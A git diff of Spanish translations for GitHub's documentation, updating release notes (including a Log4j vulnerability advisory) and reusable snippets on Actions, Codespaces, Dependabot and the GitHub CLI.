-    - '**CRITICAL:** A remote code execution vulnerability in the Log4j library, identified as [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.3.1. The Log4j library is used in an open source service running on the {% data variables.product.prodname_ghe_server %} instance. This vulnerability was fixed in {% data variables.product.prodname_ghe_server %} versions 3.0.22, 3.1.14, 3.2.6, and 3.3.1.  For more information, please see [this post](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) on the GitHub Blog.'
+    - '**CRÍTICA:** Una vulnerabilidad de ejecución de código remoto en la librería Log4j, identificada como [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), afectó a todas las versiones de {% data variables.product.prodname_ghe_server %} anteriores a la 3.3.1. La librería Log4j se utiliza en un servicio de código abierto que se ejecuta en la instancia de {% data variables.product.prodname_ghe_server %}. Esta vulnerabilidad se corrigió en las versiones 3.0.22, 3.1.14, 3.2.6 y 3.3.1 de {% data variables.product.prodname_ghe_server %}. Para obtener más información, por favor, consulta [esta publicación](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) en el Blog de GitHub.'
+    - '**Actualización del 17 de diciembre de 2021**: Las correcciones que se llevaron a cabo para este lanzamiento también mitigan el [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046), el cual se publicó después de dicho lanzamiento. No se necesita ninguna actualización adicional en {% data variables.product.prodname_ghe_server %} para mitigar tanto al CVE-2021-44228 como al CVE-2021-45046.'
   known_issues:
     - After upgrading to {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_actions %} may fail to start automatically. To resolve this issue, connect to the appliance via SSH and run the `ghe-actions-start` command.
     - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
diff --git a/translations/es-ES/data/release-notes/github-ae/2021-03/2021-03-03.yml b/translations/es-ES/data/release-notes/github-ae/2021-03/2021-03-03.yml
index 0931904dc8..13c8964768 100644
--- a/translations/es-ES/data/release-notes/github-ae/2021-03/2021-03-03.yml
+++ b/translations/es-ES/data/release-notes/github-ae/2021-03/2021-03-03.yml
@@ -9,9 +9,9 @@ sections:
       heading: 'GitHub Actions beta'
       notes:
         - |
-          [{% data variables.product.prodname_actions %}](https://github.com/features/actions) is a powerful, flexible solution for CI/CD and workflow automation. For more information, see "[Introduction to {% data variables.product.prodname_actions %}](/actions/learn-github-actions/introduction-to-github-actions)."
+          [{% data variables.product.prodname_actions %}](https://github.com/features/actions) es una solución flexible y poderosa para la automatización de flujos de trabajo y de IC/DC. Para obtener más información, consulta la sección "[Introducción a las {% data variables.product.prodname_actions %}](/actions/learn-github-actions/introduction-to-github-actions)."
 
-          Please note that when {% data variables.product.prodname_actions %} is enabled during this upgrade, two organizations named "GitHub Actions" (@**actions** and @**github**) will appear in {% data variables.product.product_location %}. These organizations are required by {% data variables.product.prodname_actions %}. Users named @**ghost** and @**actions** appear as the actors for creation of these organizations in the audit log.
+          Por favor, toma en cuenta que, cuando se habilitan las {% data variables.product.prodname_actions %} durante esta mejora, aparecerán dos organizaciones de nombre "GitHub Actions" (@**actions** and @**github**) en {% data variables.product.product_location %}. {% data variables.product.prodname_actions %} requiere estas organizaciones. Los usuarios de nombre @**ghost** y @**actions** se mostrarán como los actores para crear estas organizaciones en la bitácora de auditoría.
     - 
       heading: 'GitHub Packages beta'
       notes:
diff --git a/translations/es-ES/data/release-notes/github-ae/2021-06/2021-12-06.yml b/translations/es-ES/data/release-notes/github-ae/2021-06/2021-12-06.yml
index 1b0a3fcaa6..76d38f7860 100644
--- a/translations/es-ES/data/release-notes/github-ae/2021-06/2021-12-06.yml
+++ b/translations/es-ES/data/release-notes/github-ae/2021-06/2021-12-06.yml
@@ -47,7 +47,7 @@ sections:
     - heading: 'GitHub Packages'
       notes:
         - |
-          You can now delete any package or package version for GitHub Packages from {% data variables.product.product_name %}'s web UI or REST API. You can also undo the deletion of any package or package version within 30 days.
+          You can now delete any package or package version for GitHub Packages from {% data variables.product.product_name %}'s web UI. You can also undo the deletion of any package or package version within 30 days. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."
         - |
           The npm registry for GitHub Packages and {% data variables.product.prodname_dotcom_the_website %} no longer returns a time value in metadata responses, providing substantial performance improvements. {% data variables.product.company_short %} will continue returning the time value in the future.
     - heading: 'Audit logging'
@@ -78,7 +78,7 @@ sections:
         - |
           With the [latest version of Octicons](https://github.com/primer/octicons/releases), the states of issues and pull requests are now more visually distinct so you can scan status more easily. For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2021-06-08-new-issue-and-pull-request-state-icons/).
         - |
-          You can now see all pull request review comments in the **Files** tab for a pull request by selecting the  **Conversations** drop-down. You can also require that all pull request review comments are resolved before anyone merges the pull request. For more information, see "[About pull request reviews](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews#discovering-and-navigating-conversations)" and "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)." For more information about management of branch protection settings with the API, see "[Repositories](/rest/reference/repos#get-branch-protection)" in the REST API documentation and "[Mutations](/graphql/reference/mutations#createbranchprotectionrule)" in the GraphQL API documentation.
+          You can now see all pull request review comments in the **Files** tab for a pull request by selecting the  **Conversations** drop-down. You can also require that all pull request review comments are resolved before anyone merges the pull request. For more information, see "[About pull request reviews](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews#discovering-and-navigating-conversations)" and "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)." For more information about management of branch protection settings with the API, see "[Branches](/rest/reference/branches#get-branch-protection)" in the REST API documentation and "[Mutations](/graphql/reference/mutations#createbranchprotectionrule)" in the GraphQL API documentation.
         - |
           You can now upload video files everywhere you write Markdown on {% data variables.product.product_name %}. Share demos, show reproduction steps, and more in issue and pull request comments, as well as in Markdown files within repositories, such as READMEs. For more information, see "[Attaching files](/github/writing-on-github/working-with-advanced-formatting/attaching-files)."
         - |
@@ -103,7 +103,7 @@ sections:
         - |
           You can now sort the repositories on a user or organization profile by star count.
         - |
-          The Repositories REST API's "compare two commits" endpoint, which returns a list of commits reachable from one commit or branch, but unreachable from another, now supports pagination. The API can also now return the results for comparisons over 250 commits. For more information, see the "[Repositories](/rest/reference/repos#compare-two-commits)" REST API documentation and "[Traversing with pagination](/rest/guides/traversing-with-pagination)."
+          The Repositories REST API's "compare two commits" endpoint, which returns a list of commits reachable from one commit or branch, but unreachable from another, now supports pagination. The API can also now return the results for comparisons over 250 commits. For more information, see the "[Commits](/rest/reference/commits#compare-two-commits)" REST API documentation and "[Traversing with pagination](/rest/guides/traversing-with-pagination)."
         - |
           When you define a submodule in {% data variables.product.product_location %} with a relative path, the submodule is now clickable in the web UI. Clicking the submodule in the web UI will take you to the linked repository. Previously, only submodules with absolute URLs were clickable. Relative paths for repositories with the same owner that follow the pattern <code>../<em>REPOSITORY</em></code> or relative paths for repositories with a different owner that follow the pattern <code>../<em>OWNER</em>/<em>REPOSITORY</em></code> are supported. For more information about working with submodules, see [Working with submodules](https://github.blog/2016-02-01-working-with-submodules/) on {% data variables.product.prodname_blog %}.
         - |
diff --git a/translations/es-ES/data/reusables/accounts/accounts-billed-separately.md b/translations/es-ES/data/reusables/accounts/accounts-billed-separately.md
new file mode 100644
index 0000000000..8960bfe730
--- /dev/null
+++ b/translations/es-ES/data/reusables/accounts/accounts-billed-separately.md
@@ -0,0 +1 @@
+Each account on {% data variables.product.product_name %} is billed separately. Upgrading an organization account enables paid features for the organization's repositories only and does not affect the features available in repositories owned by any associated personal accounts. Similarly, upgrading a personal account enables paid features for the personal account's repositories only and does not affect the repositories of any organization accounts. Para obtener más información sobre los tipos de cuenta, consulta la sección "[Tipos de cuentas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
diff --git a/translations/es-ES/data/reusables/actions/actions-group-concurrency.md b/translations/es-ES/data/reusables/actions/actions-group-concurrency.md
index 63edac3ae9..8946bdf090 100644
--- a/translations/es-ES/data/reusables/actions/actions-group-concurrency.md
+++ b/translations/es-ES/data/reusables/actions/actions-group-concurrency.md
@@ -19,7 +19,7 @@ concurrency: ci-${{ github.ref }}
 {% raw %}
 ```yaml
 concurrency: 
-  group: ${{ github.head_ref }}
+  group: ${{ github.ref }}
   cancel-in-progress: true
 ```
 {% endraw %}
diff --git a/translations/es-ES/data/reusables/actions/cd-templates-actions.md b/translations/es-ES/data/reusables/actions/cd-templates-actions.md
index f87a3f99b1..84d1db5c53 100644
--- a/translations/es-ES/data/reusables/actions/cd-templates-actions.md
+++ b/translations/es-ES/data/reusables/actions/cd-templates-actions.md
@@ -1,3 +1,3 @@
-{% data variables.product.product_name %} ofrece plantillas de flujo de trabajo de DC para varios servicios populares, tal como Azure Web App. Para aprender cómo comenzar a utilizar una plantilla de flujo de trabajo, consulta la sección "[Utilizar plantillas de flujo de trabajo](/actions/learn-github-actions/using-workflow-templates)" o [busca en la lista completa de plantillas de flujo de trabajo de despliegue](https://github.com/actions/starter-workflows/tree/main/deployments). También puedes verificar nuestras guías más detalladas para flujos de trabajo de despliegue específicos, tal como "[Desplegar hacia Azure App Service](/actions/deployment/deploying-to-azure-app-service)".
+{% data variables.product.product_name %} offers CD starter workflow for several popular services, such as Azure Web App. To learn how to get started using a starter workflow, see "[Using starter workflows](/actions/learn-github-actions/using-starter-workflows)" or [browse the full list of deployment starter workflows](https://github.com/actions/starter-workflows/tree/main/deployments). También puedes verificar nuestras guías más detalladas para flujos de trabajo de despliegue específicos, tal como "[Desplegar hacia Azure App Service](/actions/deployment/deploying-to-azure-app-service)".
 
 Muchos proveedores de servicio también ofrecen acciones en {% data variables.product.prodname_marketplace %} para desplegar a su servicio. Para encontrar la lista completa, consulta [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=deployment&type=actions).
diff --git a/translations/es-ES/data/reusables/actions/create-azure-app-plan.md b/translations/es-ES/data/reusables/actions/create-azure-app-plan.md
new file mode 100644
index 0000000000..cfff24c017
--- /dev/null
+++ b/translations/es-ES/data/reusables/actions/create-azure-app-plan.md
@@ -0,0 +1,17 @@
+1. Crear un plan de Azure App Service.
+
+   Por ejemplo, puedes utilizar el CLI de Azure para crear un plan de App Service nuevo:
+
+   ```bash{:copy}
+   az appservice plan create \
+      --resource-group MY_RESOURCE_GROUP \
+      --name MY_APP_SERVICE_PLAN \
+      --is-linux
+   ```
+
+   En el comando anterior, reemplaza `MY_RESOURCE_GROUP` con tu Grupo de Recursos de Azure preexistente y `MY_APP_SERVICE_PLAN` con un nombre nuevo para el plan de App Service.
+
+   Consulta la documentación de Azure para obtener más información sobre cómo utilizar el [CLI de Azure](https://docs.microsoft.com/cli/azure/):
+
+   * Para la autenticación, consulta "[Iniciar sesión con Azure CLI](https://docs.microsoft.com/cli/azure/authenticate-azure-cli)."
+   * Si necesitas crear un grupo de recursos nuevo, consulta lasección "[grupo az](https://docs.microsoft.com/cli/azure/group?view=azure-cli-latest#az_group_create)".
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/actions/create-azure-publish-profile.md b/translations/es-ES/data/reusables/actions/create-azure-publish-profile.md
new file mode 100644
index 0000000000..0203f1f5c4
--- /dev/null
+++ b/translations/es-ES/data/reusables/actions/create-azure-publish-profile.md
@@ -0,0 +1,5 @@
+1. Configura un perfil de publicación de Azure y crea un secreto de `AZURE_WEBAPP_PUBLISH_PROFILE`.
+
+   Genera tus credenciales de despliegue de Azure utilizando un perfil de publicación. Para obtener más información, consulta la sección "[Generar credenciales de despliegue](https://docs.microsoft.com/azure/app-service/deploy-github-actions?tabs=applevel#generate-deployment-credentials)" en la documentación de Azure.
+
+   En tu repositorio de {% data variables.product.prodname_dotcom %}, crea un secreto que se llame `AZURE_WEBAPP_PUBLISH_PROFILE` que tenga el contenido del perfil de publicación. Para obtener más información sobre cómo crear secretos, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)".
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/actions/environment-deployment-event.md b/translations/es-ES/data/reusables/actions/environment-deployment-event.md
index efba2fe7bc..96dbf709e4 100644
--- a/translations/es-ES/data/reusables/actions/environment-deployment-event.md
+++ b/translations/es-ES/data/reusables/actions/environment-deployment-event.md
@@ -1 +1 @@
-When a workflow job that references an environment runs, it creates a deployment object with the `environment` property set to the name of your environment. As the workflow progresses, it also creates deployment status objects with the `environment` property set to the name of your environment, the `environment_url` property set to the URL for environment (if specified in the workflow), and the `state` property set to the status of the job.
+Cuando se ejecuta un job de flujo de trabajo que referencia un ambiente, este crea un objeto de despliegue con la propiedad `environment` configurada en el nombre de tu ambiente. Conforme progrese el flujo de trabajo, este también creará objetos de estado de despliegue con la propiedad `environment` configurada en el nombre de tu ambiente, la propiedad `environment_url` configurada para la URL del mismo (si se especificó en el flujo de trabajo) y la propiedad `state` configurada en el estado del job.
diff --git a/translations/es-ES/data/reusables/actions/environment-example.md b/translations/es-ES/data/reusables/actions/environment-example.md
index 791448163e..f01c052d42 100644
--- a/translations/es-ES/data/reusables/actions/environment-example.md
+++ b/translations/es-ES/data/reusables/actions/environment-example.md
@@ -1,6 +1,6 @@
-You can specify an environment for each job in your workflow. To do so, add a `jobs.<job_id>.environment` key followed by the name of the environment.
+Puedes especificar un ambiente para cada job de tu flujo de trabajo. Para hacerlo, agrega la clave `jobs.<job_id>.environment` seguida del nombre del ambiente.
 
-For example, this workflow will use an environment called `production`.
+Por ejemplo, este flujo de trabajo utilizará un ambiente llamado `production`.
 
 ```yaml
 name: Deployment
@@ -19,9 +19,9 @@ jobs:
         # ...deployment-specific steps
 ```
 
-When the above workflow runs, the `deployment` job will be subject to any rules configured for the `production` environment. For example, if the environment requires reviewers, the job will pause until one of the reviewers approves the job.
+Cuando se ejecute el flujo de trabajo anterior, el job `deployment` estará sujeto a cualquier regla que se haya configurado para el ambiente de `production`. Por ejemplo, si el ambiente requiere revisores, el job se pausará hasta que uno de ellos lo apruebe.
 
-You can also specify a URL for the environment. La URL especificada aparecerá en la página de despliegues del repositorio (a la cual se puede acceder haciendo clic en **Ambientes** en la página principal de tu repositorio) y en la gráfica de visualización de la ejecución del flujo de trabajo. Si una solicitud de cambios activó el flujo de trabajo, la URL también se muestra como un botón de **Ver despliegue** en la línea de tiempo de esta.
+También puedes especificar una URL para el ambiente. La URL especificada aparecerá en la página de despliegues del repositorio (a la cual se puede acceder haciendo clic en **Ambientes** en la página principal de tu repositorio) y en la gráfica de visualización de la ejecución del flujo de trabajo. Si una solicitud de cambios activó el flujo de trabajo, la URL también se muestra como un botón de **Ver despliegue** en la línea de tiempo de esta.
 
 ```yaml
 name: Deployment
diff --git a/translations/es-ES/data/reusables/actions/hardware-requirements-after.md b/translations/es-ES/data/reusables/actions/hardware-requirements-after.md
index 9394983637..81fcf6fdc8 100644
--- a/translations/es-ES/data/reusables/actions/hardware-requirements-after.md
+++ b/translations/es-ES/data/reusables/actions/hardware-requirements-after.md
@@ -1,7 +1,7 @@
 | vCPU | Memoria | Simultaneidad máxima    |
 |:---- |:------- |:----------------------- |
 | 8    | 64 GB   | 300 puestos de trabajo  |
-| 16   | 160 GB  | 700 puestos de trabajo  |
-| 32   | 128 GB  | 1300 puestos de trabajo |
+| 16   | 128 GB  | 700 puestos de trabajo  |
+| 32   | 160 GB  | 1300 puestos de trabajo |
 | 64   | 256 GB  | 2000 puestos de trabajo |
-| 96   | 384 GB  | 4000 puestos de trabajo |
\ No newline at end of file
+| 96   | 384 GB  | 4000 puestos de trabajo |
diff --git a/translations/es-ES/data/reusables/actions/workflow-organization-templates.md b/translations/es-ES/data/reusables/actions/workflow-organization-templates.md
index 12be839c9d..d828a14ef4 100644
--- a/translations/es-ES/data/reusables/actions/workflow-organization-templates.md
+++ b/translations/es-ES/data/reusables/actions/workflow-organization-templates.md
@@ -1 +1 @@
-Las plantillas de flujo de trabajo permiten a toda persona de tu organización que tenga permiso de crear flujos de trabajo hacerlo más rápida y fácilmente. Cuando creas un flujo de trabajo nuevo, puedes elegir una plantilla para que haga por ti algo o todo el trabajo de escribir el flujo. Puedes usar plantillas de flujo de trabajo como lugar de inicio para crear tu flujo de trabajo personalizado o usarlos tal como están. Esto no solo ahorra tiempo, sino que promueve la consistencia y las mejores prácticas a lo largo de tu organización.
+Starter workflows allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When you create a new workflow, you can choose a starter workflow and some or all of the work of writing the workflow will be done for you. You can use starter workflows as a starting place to build your custom workflow or use them as-is. Esto no solo ahorra tiempo, sino que promueve la consistencia y las mejores prácticas a lo largo de tu organización.
diff --git a/translations/es-ES/data/reusables/actions/workflow-run-approve-public-fork.md b/translations/es-ES/data/reusables/actions/workflow-run-approve-public-fork.md
index 45f82b9778..64534ca139 100644
--- a/translations/es-ES/data/reusables/actions/workflow-run-approve-public-fork.md
+++ b/translations/es-ES/data/reusables/actions/workflow-run-approve-public-fork.md
@@ -4,6 +4,6 @@ Para ayudar a prevenir esto, los flujos de trabajo sobre las solicitudes de camb
 
 {% note %}
 
-**Nota:** Los flujos de trabajo que se activan con los eventos `pull_request_target` se ejecutan en el contexto de la rama base. Since the base branch is considered trusted, workflows triggered by these events will always run, regardless of approval settings.
+**Nota:** Los flujos de trabajo que se activan con los eventos `pull_request_target` se ejecutan en el contexto de la rama base. Ya que la rama base se considera como confiable, los flujos de trabajo que activen estos eventos siempre se ejecutarán, sin importar los ajustes de aprobaciones.
 
 {% endnote %}
diff --git a/translations/es-ES/data/reusables/actions/workflow-template-overview.md b/translations/es-ES/data/reusables/actions/workflow-template-overview.md
index c1bed03732..fb65452541 100644
--- a/translations/es-ES/data/reusables/actions/workflow-template-overview.md
+++ b/translations/es-ES/data/reusables/actions/workflow-template-overview.md
@@ -1,3 +1,3 @@
-{% data variables.product.prodname_dotcom %} proporciona plantillas de flujo de trabajo preconfiguradas que puedes personalizar para crear tu propio flujo de trabajo de integración contínua. {% data variables.product.product_name %} analiza tu código y muestra tus plantillas de IC que podrían ser útiles para tu repositorio. Por ejemplo, si tu repositorio contiene un código Node.js, verás sugerencias para los proyectos de Node.js. Puedes usar plantillas de flujo de trabajo como lugar de inicio para crear tu flujo de trabajo personalizado o usarlos tal como están.
+{% data variables.product.prodname_dotcom %} Proporciona un flujo de trabajo preconfigurado que puedes personalizar para crear tu propio flujo de trabajo de integración contínua. {% data variables.product.product_name %} analiza tu código y te muestra el flujo de trabajo inicial de IC que podría ser útil para tu repositorio. Por ejemplo, si tu repositorio contiene un código Node.js, verás sugerencias para los proyectos de Node.js. Puedes utilizar el flujo de trabajo inicial como un lugar para comenzar a crear tu flujo de trabajo personalizado o utilizarlo tal cual.
 
-Puedes buscar en la lista completa de plantillas de flujo de trabajo en el repositorio {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows){% else %}`actions/starter-workflows` en {% data variables.product.product_location %}{% endif %}.
+Puedes buscar la lista completa de flujos de trabajo iniciales en el repositorio {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows){% else %} `actions/starter-workflows` en {% data variables.product.product_location %}{% endif %}.
diff --git a/translations/es-ES/data/reusables/advanced-security/ghas-availability.md b/translations/es-ES/data/reusables/advanced-security/ghas-availability.md
new file mode 100644
index 0000000000..ad4315d7c1
--- /dev/null
+++ b/translations/es-ES/data/reusables/advanced-security/ghas-availability.md
@@ -0,0 +1,10 @@
+{% data variables.product.prodname_GH_advanced_security %} is available
+
+{%- ifversion fpt %} and enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} can also access these features in private repositories with a license for {% data variables.product.prodname_GH_advanced_security %}. {% data reusables.advanced-security.more-info-ghas %}
+
+{%- elsif ghec %} and enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}. It is also available for private or internal repositories that are owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %}. {% data reusables.advanced-security.more-info-ghas %}
+
+{%- elsif ghes %} if your enterprise has a license for {% data variables.product.prodname_GH_advanced_security %}. It is restricted to repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %}
+
+{%- elsif ghae %} for repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %}
+{% endif %}
diff --git a/translations/es-ES/data/reusables/advanced-security/note-org-enable-uses-seats.md b/translations/es-ES/data/reusables/advanced-security/note-org-enable-uses-seats.md
index 31c4a10dec..4168186c2f 100644
--- a/translations/es-ES/data/reusables/advanced-security/note-org-enable-uses-seats.md
+++ b/translations/es-ES/data/reusables/advanced-security/note-org-enable-uses-seats.md
@@ -1,4 +1,4 @@
-{% ifversion fpt or ghes > 3.0 or ghec %}
+{% ifversion ghes > 3.0 or ghec %}
 {% note %}
 **Nota:** Si habilitas
 
diff --git a/translations/es-ES/data/reusables/advanced-security/security-feature-availability.md b/translations/es-ES/data/reusables/advanced-security/security-feature-availability.md
new file mode 100644
index 0000000000..ef965ceae3
--- /dev/null
+++ b/translations/es-ES/data/reusables/advanced-security/security-feature-availability.md
@@ -0,0 +1 @@
+Some features are available for {% ifversion ghes or ghae %}all repositories{% elsif fpt or ghec %}repositories on all plans{% endif %}. Additional features are available to enterprises that use {% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt or ghec %}{% data variables.product.prodname_GH_advanced_security %} features are also enabled for all public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %} {% data reusables.advanced-security.more-info-ghas %}
diff --git a/translations/es-ES/data/reusables/apps/oauth-auth-vary-response.md b/translations/es-ES/data/reusables/apps/oauth-auth-vary-response.md
index b76fef614b..c504953858 100644
--- a/translations/es-ES/data/reusables/apps/oauth-auth-vary-response.md
+++ b/translations/es-ES/data/reusables/apps/oauth-auth-vary-response.md
@@ -1 +1 @@
-You can also receive the response in different formats if you provide the format in the `Accept` header. For example, `Accept: application/json` or `Accept: application/xml`:
+También puedes recibir la respuesta en varias formas si proporcionas el formato en el encabezado `Accept`. Por ejemplo, `Accept: application/json` o `Accept: application/xml`:
diff --git a/translations/es-ES/data/reusables/classroom/assignments-to-prevent-submission.md b/translations/es-ES/data/reusables/classroom/assignments-to-prevent-submission.md
index 56a7b4ef37..dc62e2ca99 100644
--- a/translations/es-ES/data/reusables/classroom/assignments-to-prevent-submission.md
+++ b/translations/es-ES/data/reusables/classroom/assignments-to-prevent-submission.md
@@ -1 +1 @@
-Para prevenir que los alumnos acepten o emitan una tarea, deselecciona **Habilitar la URL de invitación a las tareas**. Para editar la tarea, da clic en {% octicon "pencil" aria-label="The pencil icon" %} **Editar tarea**.
+Para prevenir que los alumnos acepten o envíen una tarea, puedes cambiar el "Estado de la tarea" dentro de la vista de "Editar tarea". Cuando una tarea se encuentra activa, los alumnos podrán aceptarla utilizando el enlace de invitación. Cuando está inactiva, este enlace ya no será válido.
diff --git a/translations/es-ES/data/reusables/cli/cli-features.md b/translations/es-ES/data/reusables/cli/cli-features.md
index 81bbe04e03..b92cc96c3b 100644
--- a/translations/es-ES/data/reusables/cli/cli-features.md
+++ b/translations/es-ES/data/reusables/cli/cli-features.md
@@ -1,9 +1,9 @@
-{% data variables.product.prodname_cli %} includes {% data variables.product.prodname_dotcom %} features such as:
+El {% data variables.product.prodname_cli %} incluye características de {% data variables.product.prodname_dotcom %} tales como:
 
 - Ver, crear, clonar, y bifurcar repositorios
 - Crear, cerrar, editar y ver las propuestas y solicitudes de cambio
 - Revisar, fusionar y hacer diffs con las solicitudes de cambios
 - Ejecutar, visualizar y listar flujos de trabajo
 - Crear, listar, visualizar y borrar lanzamientos
-- Create, edit, list, view, and delete gists{% ifversion fpt %}
-- List, create, delete, and connect to a codespace{% endif %}
+- Crear, editar, listar, ver y borrar gists{% ifversion fpt %}
+- Listar, crear, borrar y conectarte a un codespace{% endif %}
diff --git a/translations/es-ES/data/reusables/codespaces/codespaces-machine-type-availability.md b/translations/es-ES/data/reusables/codespaces/codespaces-machine-type-availability.md
new file mode 100644
index 0000000000..43f134fbf4
--- /dev/null
+++ b/translations/es-ES/data/reusables/codespaces/codespaces-machine-type-availability.md
@@ -0,0 +1,5 @@
+   {% note %}
+
+   **Note**: Your choice of available machine types may be limited by a policy configured for your organization, or by a minimum machine type specification for your repository. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" and "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+   {% endnote %}
diff --git a/translations/es-ES/data/reusables/codespaces/command-palette-container.md b/translations/es-ES/data/reusables/codespaces/command-palette-container.md
index c8483c0056..71356c75b9 100644
--- a/translations/es-ES/data/reusables/codespaces/command-palette-container.md
+++ b/translations/es-ES/data/reusables/codespaces/command-palette-container.md
@@ -1,3 +1,3 @@
-1. Access the {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "dev container". Selecciona **Codespaces: Agregar archivos de configuración del contenedor de desarrollo...**.
+1. Accede a la {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P` / `Ctrl + Shift + P`) y comienza a teclear "dev container". Selecciona **Codespaces: Agregar archivos de configuración del contenedor de desarrollo...**.
 
-   !["Codespaces: Add Development Container Configuration Files..." in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/add-prebuilt-container-command.png)
+   !["Codespaces: Agregar archivos de configuración de contenedor de desarrollo..." en la {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/add-prebuilt-container-command.png)
diff --git a/translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md b/translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md
index aacb68b514..20410fda9d 100644
--- a/translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md
+++ b/translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md
@@ -15,4 +15,6 @@ After you connect your account on {% data variables.product.product_location %}
 
 5. Haz clic en el tipo de máquina en la que quieres desarrollar.
 
-   ![Tipos de instancia para un {% data variables.product.prodname_codespaces %} nuevo](/assets/images/help/codespaces/choose-sku-vscode.png)
\ No newline at end of file
+   ![Tipos de instancia para un {% data variables.product.prodname_codespaces %} nuevo](/assets/images/help/codespaces/choose-sku-vscode.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
diff --git a/translations/es-ES/data/reusables/community/issue-forms-beta.md b/translations/es-ES/data/reusables/community/issue-forms-beta.md
index 9c912118dd..ed48b4378c 100644
--- a/translations/es-ES/data/reusables/community/issue-forms-beta.md
+++ b/translations/es-ES/data/reusables/community/issue-forms-beta.md
@@ -1,5 +1,5 @@
 {% note %}
 
-**Note:** Issue forms are currently in beta for public repositories on {% data variables.product.prodname_dotcom_the_website %} only.
+**Nota:** Los formatos de propuesta se encuentran actualmente en beta para los repositorios públicos únicamente en {% data variables.product.prodname_dotcom_the_website %}.
 
 {% endnote %}
diff --git a/translations/es-ES/data/reusables/dependabot/dependabot-alerts-beta.md b/translations/es-ES/data/reusables/dependabot/dependabot-alerts-beta.md
index 4cfd65386a..3af11899ae 100644
--- a/translations/es-ES/data/reusables/dependabot/dependabot-alerts-beta.md
+++ b/translations/es-ES/data/reusables/dependabot/dependabot-alerts-beta.md
@@ -1,7 +1,7 @@
 {% ifversion ghae-issue-4864 %}
 {% note %}
 
-**Note:** {% data variables.product.prodname_dependabot_alerts %} is currently in beta and is subject to change.
+**Nota:** {% data variables.product.prodname_dependabot_alerts %} se encuentra acutalmente en beta y está sujeto a cambios.
 
 {% endnote %}
 {% endif %}
diff --git a/translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md b/translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md
index f3d533df73..39c7c44d7f 100644
--- a/translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md
+++ b/translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md
@@ -2,7 +2,7 @@
 
 {% note %}
 
-**Note:** Your site administrator must set up {% data variables.product.prodname_dependabot %} updates for {% data variables.product.product_location %} before you can use this feature. For more information, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)."
+**Nota:** Tu administrador de sitio debe configurar el {% data variables.product.prodname_dependabot %} para {% data variables.product.product_location %} antes de que puedas utilizar esta característica. For more information, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)."
 
 {% endnote %}
 
diff --git a/translations/es-ES/data/reusables/desktop/delete-branch-win.md b/translations/es-ES/data/reusables/desktop/delete-branch-win.md
index 3986b153f3..c6badff829 100644
--- a/translations/es-ES/data/reusables/desktop/delete-branch-win.md
+++ b/translations/es-ES/data/reusables/desktop/delete-branch-win.md
@@ -1 +1 @@
-1. En tu barra de menú, da clic en **Rama** y luego en **Borrar...**. También puedes presionar <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd>.
+1. En tu barra de menú, da clic en **Rama** y luego en **Borrar...**. También puedes presionar <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>D</kbd>.
diff --git a/translations/es-ES/data/reusables/docs/you-can-read-docs-for-your-product.md b/translations/es-ES/data/reusables/docs/you-can-read-docs-for-your-product.md
new file mode 100644
